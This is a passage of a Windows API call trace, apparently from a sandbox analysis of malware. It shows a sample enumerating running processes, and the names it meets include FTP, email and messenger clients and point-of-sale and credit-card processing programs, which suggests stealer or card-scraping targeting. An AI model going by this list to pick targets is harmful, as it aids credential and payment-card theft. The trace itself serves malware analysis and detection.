	[0088.270] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0088.270] lstrlenW (lpString="Memory Compression") returned 18
	[0088.271] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0088.271] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0088.271] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0088.272] lstrlenW (lpString="SearchUI.exe") returned 12
	[0088.272] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0088.272] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0088.272] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0088.273] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0088.273] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0088.273] lstrlenW (lpString="pending.exe") returned 11
	[0088.273] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0088.274] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0088.274] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0088.274] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0088.274] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0088.275] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0088.275] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0088.275] lstrlenW (lpString="search.exe") returned 10
	[0088.275] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0088.276] lstrlenW (lpString="compatibility.exe") returned 17
	[0088.276] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0088.276] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0088.276] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0088.286] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0088.286] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0088.286] lstrlenW (lpString="try.exe") returned 7
	[0088.287] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0088.287] lstrlenW (lpString="consultancy.exe") returned 15
	[0088.287] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0088.288] lstrlenW (lpString="especially.exe") returned 14
	[0088.288] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0088.288] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0088.288] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0088.289] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0088.289] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0088.289] lstrlenW (lpString="modules.exe") returned 11
	[0088.289] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0088.290] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0088.290] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0088.290] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0088.290] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0088.291] lstrlenW (lpString="3dftp.exe") returned 9
	[0088.291] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0088.291] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0088.291] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0088.292] lstrlenW (lpString="alftp.exe") returned 9
	[0088.292] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0088.293] lstrlenW (lpString="barca.exe") returned 9
	[0088.293] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0088.293] lstrlenW (lpString="bitkinex.exe") returned 12
	[0088.294] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0088.295] lstrlenW (lpString="coreftp.exe") returned 11
	[0088.295] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0088.295] lstrlenW (lpString="far.exe") returned 7
	[0088.295] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0088.296] lstrlenW (lpString="filezilla.exe") returned 13
	[0088.296] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0088.297] lstrlenW (lpString="flashfxp.exe") returned 12
	[0088.297] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0088.298] lstrlenW (lpString="fling.exe") returned 9
	[0088.298] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0088.299] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0088.299] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0088.300] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0088.300] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0088.301] lstrlenW (lpString="icq.exe") returned 7
	[0088.301] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0088.302] lstrlenW (lpString="leechftp.exe") returned 12
	[0088.302] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0088.383] lstrlenW (lpString="ncftp.exe") returned 9
	[0088.388] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0088.401] lstrlenW (lpString="notepad.exe") returned 11
	[0088.404] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0088.405] lstrlenW (lpString="operamail.exe") returned 13
	[0088.405] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0088.406] lstrlenW (lpString="pidgin.exe") returned 10
	[0088.406] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0088.406] lstrlenW (lpString="scriptftp.exe") returned 13
	[0088.406] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0088.407] lstrlenW (lpString="skype.exe") returned 9
	[0088.407] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0088.408] lstrlenW (lpString="smartftp.exe") returned 12
	[0088.408] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0088.409] lstrlenW (lpString="thunderbird.exe") returned 15
	[0088.409] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0088.410] lstrlenW (lpString="totalcmd.exe") returned 12
	[0088.410] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0088.411] lstrlenW (lpString="trillian.exe") returned 12
	[0088.411] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0088.412] lstrlenW (lpString="webdrive.exe") returned 12
	[0088.412] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0088.412] lstrlenW (lpString="whatsapp.exe") returned 12
	[0088.412] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0088.413] lstrlenW (lpString="winscp.exe") returned 10
	[0088.413] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0088.414] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0088.414] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0088.415] lstrlenW (lpString="active-charge.exe") returned 17
	[0088.415] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0088.415] lstrlenW (lpString="accupos.exe") returned 11
	[0088.416] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0088.416] lstrlenW (lpString="afr38.exe") returned 9
	[0088.416] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0088.417] lstrlenW (lpString="aldelo.exe") returned 10
	[0088.417] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0088.418] lstrlenW (lpString="ccv_server.exe") returned 14
	[0088.418] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0088.419] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0088.419] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0088.420] lstrlenW (lpString="creditservice.exe") returned 17
	[0088.420] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0088.420] lstrlenW (lpString="edcsvr.exe") returned 10
	[0088.420] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0088.421] lstrlenW (lpString="fpos.exe") returned 8
	[0088.421] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0088.422] lstrlenW (lpString="isspos.exe") returned 10
	[0088.422] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0088.423] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0088.423] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0088.423] lstrlenW (lpString="omnipos.exe") returned 11
	[0088.423] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0088.424] lstrlenW (lpString="spcwin.exe") returned 10
	[0088.424] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0088.425] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0088.425] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0088.426] lstrlenW (lpString="utg2.exe") returned 8
	[0088.426] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0088.427] lstrlenW (lpString="explicit.exe") returned 12
	[0088.427] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0088.427] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0088.427] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0088.428] lstrlenW (lpString="taskhostw.exe") returned 13
	[0088.428] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0088.429] lstrlenW (lpString="UsoClient.exe") returned 13
	[0088.429] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0088.429] lstrlenW (lpString="taskhostw.exe") returned 13
	[0088.429] Process32NextW (in: hSnapshot=0x2fc, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0088.430] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
